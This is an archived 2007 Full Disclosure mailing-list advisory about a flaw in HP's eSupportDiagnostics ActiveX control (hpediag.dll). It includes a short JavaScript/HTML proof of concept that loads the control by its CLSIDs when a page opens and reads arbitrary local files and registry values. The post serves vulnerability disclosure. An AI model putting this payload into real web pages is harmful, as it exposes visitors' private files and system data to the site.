Home page logo

fulldisclosure logo Full Disclosure mailing list archives

HP eSupportDiagnostics hpediags.dll Information Disclosure
From: Elazar Broad <elazarb () earthlink net>
Date: Wed, 19 Dec 2007 12:05:48 -0500 (GMT-05:00)

The HP eSupportDiagnostics hpediag.dll exposes some methods that allow the reading of arbitrary files and registry 

hpediag.dll, version

PoC as follows:


  <script language="JavaScript" DEFER>
   function Check() {
    var out = fileUtil.ReadTextFile(somePath);
    var out = regUtil.ReadValue(somePath);

 <body onload="JavaScript: return Check();">
  <object id="fileUtil" classid="clsid:CDAF9CEC-F3EC-4B22-ABA3-9726713560F8" />
  <object id="regUtil"  classid="clsid:0C378864-D5C4-4D9C-854C-432E3BEC9CCB" />



Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • HP eSupportDiagnostics hpediags.dll Information Disclosure Elazar Broad (Dec 20)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]